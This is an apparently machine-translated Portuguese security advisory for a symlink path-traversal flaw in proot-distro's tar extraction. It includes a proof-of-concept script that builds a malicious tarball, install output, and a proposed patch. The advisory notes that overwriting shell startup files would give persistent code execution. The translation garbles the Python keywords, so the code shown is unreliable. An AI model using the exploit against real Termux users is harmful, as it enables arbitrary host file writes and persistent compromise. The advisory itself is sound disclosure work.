**Repository:** `termux/proot- distro` **Componente:** `proot_distro/comandos/install.py` → `_extract_plain_tar()`; também `helpers/docker.py` → `_apply_layer()`. Componente Versão Proot---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 5.0.2 (confirmado vulnerável)App Termux 0.119.0 -Beta. 3 Dispositivo / ABIA Samsung Galaxy A 23 / aarcha 64 Python (host) 3.13 | ## Descrição da vulnerabilidade. `proot- distro install` extrai um rootfs simples de tarball chamando `_extract_plain_tar()` em `proot_ distro/commands/install.py`. Esta função rejeita corretamente o membro do tar **nomes** contendo componentes `...`, mas aplica **não há verificação equivalente em alvos de links simbólicos** (`member.linkname`). Um arquivo de tar pode, portanto,: 1. Plante um link simbólico dentro dos rootfs cujo alvo é um caminho de hospedagem **absoluto** (por exemplo, `/data/data/com.termux/files/home`). 2. Escreva um membro de arquivo regular subsequente cujo caminho atravessa o nome do link simbólico. O `open()' do Python segue o link simbólico, escrevendo o arquivo ** no sistema de arquivos host** no nível de privilégio do processo Termux — inteiramente durante a `installação de disco- root', antes que o container seja executado.
A mesma função `_extract_plain_tar` é alcançada através de `proto- disco- reset`, e a equivalente `_apply_layer` em `helpers/ docker.py` contém a mesma falha. **`protoo_distro/commands/install.py`**, `_extract_plain_tar()`. ```python elif member.issym(): # linkname tirado literalmente do arquivo — nenhuma validação do alvo os.symlink(member.linkname, dest) # ← link simbólico plantado no host elif member.isreg(): dest = os.path.join(rootfs_dir, rel_path) com open(dest, 'wb') como fora: # ← segue o link simbólico acima de... ``` A guarda transversal existente só cobre membros ** nomes**. ```'python se algum(p in ('.', '') for p in rel_parts): continuar # verifica apenas o nome, não o alvo de link simbólico ```.
Há ** Nenhuma verificação no `member.linkname`**. Um alvo de ligação simbológica absoluta passa por cima deste guarda. Verifique o nome do membro (`rel_path`) Alvo de Symlink (`member.linkname`)------------------------------------------------------------------------------------------------------ Confirme os permanências dentro de `rootfs_dir` Passo 1 — Criar um arquivo malicioso. ```python # craft_evil_layer.py importar o arquivo de tar, io, hashlib PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n". buf = io.BytesIO() com tarfile.open(fileobj=buf, mode='w:gz') como tf:.
# Ligação simbólico da planta: /escape → /data/data/com.termux/files/home sym = tarfile.TarInfo(nome='escape') sym.type = tarfile.SYMTYPE sym.linkname = '/data/data/com.termux/files/home' tf. addfile(sym) # Escreva arquivo através do link simbólico: /escape/POC_SUCCESS → hospedeiro ~/POC_SUCCESS reg = tarfile.TarInfo(nome='escape/POC_SUCCESS') reg.size = len(PAYLOAD) tf.addfile(reg, io. BytesIO(PAYLOAD)) data = buf.getvalue() com open('evil.tar.gz', 'wb') como f: f.write(data). print("Criado mal.tar.gz") print("sha" 256:", hashlib.sha 256 (data). hexdigest()) ``` Passo 2 — Instalar o arquivo. ``` $ python craft_evil_layer.py Criou o mal.tar.gz sha 256: 6693 f 415 b 22 b 2 b 006654 da 1819 e 08 sobre 8 bb 569 b 9 e 819 c 62 e 879 e 79 c 7 c 060 ef 57.
$ proot- distro instalar./evil.tar.gz [*] Instalando a partir do 'evil.tar.gz' como 'evil'... [*] Extraindo rootfs do arquivo... [*] Instalação terminada. ``` Passo 3 — Verifique a versão proot- distro. ``` $ pkg mostra proot- distro. Grep ADVERTÊNCIA DE VERSION: o apt não tem uma interface CLI estável. Usar com cautela nos scripts. Passo 4 — Verificar gravação do hospedeiro. ``` $ cat ~/POC_SUCCESS TERMUX_ESCAPE_SUCCESS ``` O `POC_SUCCESS` foi escrito diretamente no servidor Termux `$HOME` durante a instalação, sem necessidade de login do container.
- **Escreva arquivo host de arbitragem** no pleno privilégio do processo Termux, desencadeado apenas por `proot- distro install` — nenhuma interação de container necessária. - Um arquivo malicioso `.tar.gz` / `.tar.xz` / `.tgz` entregue através de um download de arquivo, artefato CI, ou espelho comprometido é suficiente para explorar isso. - Cargas úteis incluem sobrescrever `~/.bashrc`, `~/.profil`, `$PREFIX/etc/bash.bashrc`, ou qualquer arquivo no home/ prefixo Termux, obtendo **execução de código persistente** na próxima vez que o usuário abrir um shell. - Também acessível via `proto- distro reset` se o arquivo malicioso for reutilizado, e via `_apply_layer` em `helpers/docker.py`. `_extract_plain_tar` valida membros ** nomes** contra `..' transversal, mas não coloca restrição no link simbólico ** alvos**. Os dois vetores são tratados de forma assimétrica: Verifique o nome do membro (`rel_path`) Alvo de Symlink (`member.linkname`)------------------------------------------------------------------------------------------------------ Confirme os permanências dentro de `rootfs_dir`.
A verificação do nome de membro (`any(p in ('.', '') for p in rel_parts)`) é necessária, mas não suficiente: um link simbólico com um alvo absoluto o contorna completamente. Adicione um guarda que rejeite qualquer ligação simbólica cujo alvo resolvido cai fora de `rootfs_dir`. Aplicar tanto em `_extract_plain_tar` quanto em `_apply_layer`: ```python def _is_safe_symlink(rootfs_dir: str, dest: str, linkname: str) -> bool: """Retornar Verdadeiro somente se o alvo de link simbólico se resolver dentro de rootfs_dir.""" se os.path.isabs(linkname): devolver os alvos absolutos falsos sempre escapar no host resolvido = os.path.normpath(os.path.join(os.path.dirname(dest), linkname) real_root = os.path.realpath(rootfs_dir) real_resolvido = (os.path.realpath(resolvido) se os.path.exists(resolvido) outra vez os.path.normpath(resolvido) retorna real_resolved.startswith(real_root + osep) ou real_resolved==.
Então em `_extract_plain_tar`. ```python elif member.issym(): se não _is_safe_symlink(rootfs_dir, dest, member.linkname): continue # solte link simbólico inseguro se os.path.lexists(dest):... os.symlink(member.linkname, dest) ``` Aplicar a guarda idêntica dentro de `_apply_layer` em `helpers/docker.py`. > **Nota:** Uma alternativa mais rigorosa — correspondendo ao próprio comportamento do Docker — é **reescrever** > alvos de links simbólicos absolutos para caminhos relativos dentro dos rootfs em vez de deixá-los, > para evitar quebrar imagens legítimas que usam links simbólicos intra- rootfs absolutos como > `/usr/lib → /lib`.
* Confirmado no proot- distro 5.0.2, Termux no Android/archa 64.* *Mantener: @sylirre — informe via GitHub Security Advisory no repositório ` termux/proot- distro`.* Registro de aconselhamento: GHSA- 9 xq 3 - 3 fqg- 4 vg 7. Identificadores relacionados: CVE- 2026 - 54574. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 29 T 16: 32: 34.000 Z e lista a sua última modificação como 2026 - 07 - 29 T 16: 32: 34.000 Z.
Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N. Software afetado e informações de versão: Proot- Distro do pacote PyPI — ECOSYSTEM: introduzido 0, corrigido 5.1.5. Classificação e evidência: identificadores de fraqueza CWE- 61. O registro contém 4 suporte de referências nestes tipos: WEB, PACKAGE.